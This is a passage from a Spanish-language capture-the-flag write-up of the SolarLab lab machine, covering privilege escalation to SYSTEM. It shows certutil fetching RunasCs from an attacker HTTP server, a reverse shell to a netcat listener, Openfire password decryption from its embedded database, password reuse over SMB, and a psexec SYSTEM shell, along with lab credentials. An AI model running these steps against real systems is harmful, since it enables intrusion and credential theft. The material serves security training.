Una de las credenciales funciona: openfire:HotP!fireguard.

Usualmente Openfire corre por defecto en los puertos 9090 y 9091, lo cual es el caso de la máquina víctima:

PS C:\Program Files> netstat -ano | findstr LISTENING | findstr 127.0.0.1:90

  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3084
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3084

Trato de pivotear al usuario openfire con herramientas como wmiexec.py de Impacket, pero esto no funciona dado que este usuario no es un usuario privilegiado:

❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py openfire:'HotP!fireguard'@solarlab.htb "whoami"

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

En este punto podemos llamar a nuestro confiable viejo amigo RunasCs (el cual puede ser descargado desde su repositorio de Github y descomprimido) para pivotear al usuario openfire internamente. En nuestra máquina de atacantes, empezamos un servidor HTTP temporal con Python:

❯ ls && python3 -m http.server 8000

RunasCs.exe

y, en la máquina víctima, descargamos el archivo .exe usando la herramienta certutil (que viene incluída por defecto en Windows):

PS C:\Users\blake\Documents\app> cmd.exe /c certutil.exe -urlcache -f -split http://10.10.16.6:8000/RunasCs.exe C:\Users\blake\Downloads\runascs.exe

****  Online  ****
  0000  ...
  ca00
CertUtil: -URLCache command completed successfully.

Ya transferido el binario, usamos la flag -r de runascs.exe para enviarnos una shell, luego de empezar un nuevo listener en el puerto 443 con netcat:

PS C:\Users\blake\Documents\app> C:\Users\blake\Downloads\runascs.exe openfire 'HotP!fireguard' cmd.exe -r 10.10.16.6:443 --bypass-uac -t 10

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-86b11$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1164 created in background.

y en mi listener con netcat obtengo una nueva shell como el usuario openfire:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50913
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
solarlab\openfire

Ahora, en la ruta C:\Program Files puedo ver la carpeta donde Openfire está instalado:

C:\>cd Program Files

cd Program Files

C:\Program Files>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 385E-AC57

 Directory of C:\Program Files

05/03/2024  02:34 PM    <DIR>          .
05/03/2024  02:34 PM    <DIR>          ..
11/16/2023  10:39 PM    <DIR>          Common Files
04/26/2024  04:39 PM    <DIR>          Internet Explorer
11/17/2023  11:04 AM    <DIR>          Java
11/16/2023  10:47 PM    <DIR>          Microsoft Update Health Tools
12/07/2019  12:14 PM    <DIR>          ModifiableWindowsApps
11/17/2023  03:22 PM    <DIR>          Openfire
04/26/2024  02:38 PM    <DIR>          RUXIM
05/03/2024  02:34 PM    <DIR>          VMware
11/17/2023  12:12 AM    <DIR>          Windows Defender
04/26/2024  04:39 PM    <DIR>          Windows Defender Advanced Threat Protection
11/16/2023  11:11 PM    <DIR>          Windows Mail
11/16/2023  11:11 PM    <DIR>          Windows Media Player
04/26/2024  04:39 PM    <DIR>          Windows Multimedia Platform
12/07/2019  12:50 PM    <DIR>          Windows NT
11/16/2023  11:11 PM    <DIR>          Windows Photo Viewer
04/26/2024  04:39 PM    <DIR>          Windows Portable Devices
12/07/2019  12:31 PM    <DIR>          Windows Security
12/07/2019  12:31 PM    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              20 Dir(s)   7,742,881,792 bytes free

Noto que, como el usuario openfire puedo leer este directorio:

C:\Program Files>icacls Openfire

icacls Openfire
Openfire SOLARLAB\blake:(OI)(CI)(N)
         NT SERVICE\TrustedInstaller:(CI)(F)
         NT AUTHORITY\SYSTEM:(OI)(CI)(F)
         BUILTIN\Administrators:(OI)(CI)(F)
         CREATOR OWNER:(OI)(CI)(IO)(F)
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
         SOLARLAB\openfire:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

Mientras que no somos capaces de leer este directorio como el usuario previo blakeb.

En la ruta C:\Program Files\Openfire\embedded-db puedo ver un archivo llamado openfire.script. Leyendo éste nos muestra:

C:\Program Files\Openfire\embedded-db>type openfire.script

type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
SET DATABASE TRANSACTION CONTROL LOCKS
<SNIP>
SET FILES LOG SIZE 20
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
<SNIP>
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
<SNIP>
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
<SNIP>

Aparentemente, este es un script para automatizar tareas en Openfire.

Como sea, la contraseña en este caso no está en texto plano; está encriptada. Buscando, encuentro que podemos usar el repositorio Openfire_decrypt para desencriptar esta contraseña. Basados en este post del foro de Hashcat, necesitamos 2 parámetros para desencriptar la contraseña: encryptedPassword y passwordKey. El primer parámetro, encryptedPassword no está explícitamente dado, pero passwordKey lo está. De manera que tenemos 1 de 2. Hay una línea en el script la cual llama la atención:

CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))

Podemos ver que ENCRYPTEDPASSWORD VARCHAR(255) es la séptima (7ma) columna de la tabla PUBLIC.OFUSER. En el script también hay una línea con contenido:

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

donde la séptima línea es la contraseña encriptada becb0<SNIP>9d442 para el usuario admin. De manera que hemos encontrado las 2 cosas necesarias para desencriptar la contraseña:

  1. encryptedPassword con valor: becb0c67<SNIP>2e59d442 (acortado para mejor visualización del WriteUp)
  2. passwordKey con valor: hGXiFzsKaAeYLjn

Luego, en nuestra máquina de atacante, simplemente clonamos el repositorio Openfire decryptor y le pasamos los datos necesarios para desencriptar la contraseña:

❯ git clone https://github.com/c0rdis/openfire_decrypt

<SNIP>
❯ cd openfire_decrypt

❯ java OpenFireDecryptPass.java 'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442' 'hGXiFzsKaAeYLjn'

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

Obtnemos una contraseña: ThisPasswordShouldDo!@

Antes de usar esta contraseña en el panel GUI de Openfire, chequeamos si esta contraseña es utilizada por otro usuario en el sistema como, por ejemplo, Administrator:

❯ netexec smb 10.10.11.16 -u 'Administrator' -p 'ThisPasswordShouldDo!@'

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)

y funciona. La contraseña se reutiliza.

Finalmente, dado que el servicio SMB se encuentra corriendo en la máquina víctima, usaré la herramienta psexec.py de Impacket para spawnear una shell interactiva como el usuario nt authority/system utilizando las credenciales del usuario privilegiado Administrator:

❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:'ThisPasswordShouldDo!@'@10.10.11.16 cmd.exe

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.16.....
[*] Found writable share ADMIN$
[*] Uploading file TKSzIKUt.exe
[*] Opening SVCManager on 10.10.11.16.....
[*] Creating service bbPo on 10.10.11.16.....
[*] Starting service bbPo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

Donde podemos ver la flag de root en el directorio Desktop del usuario Administrator.

~ Happy Hacking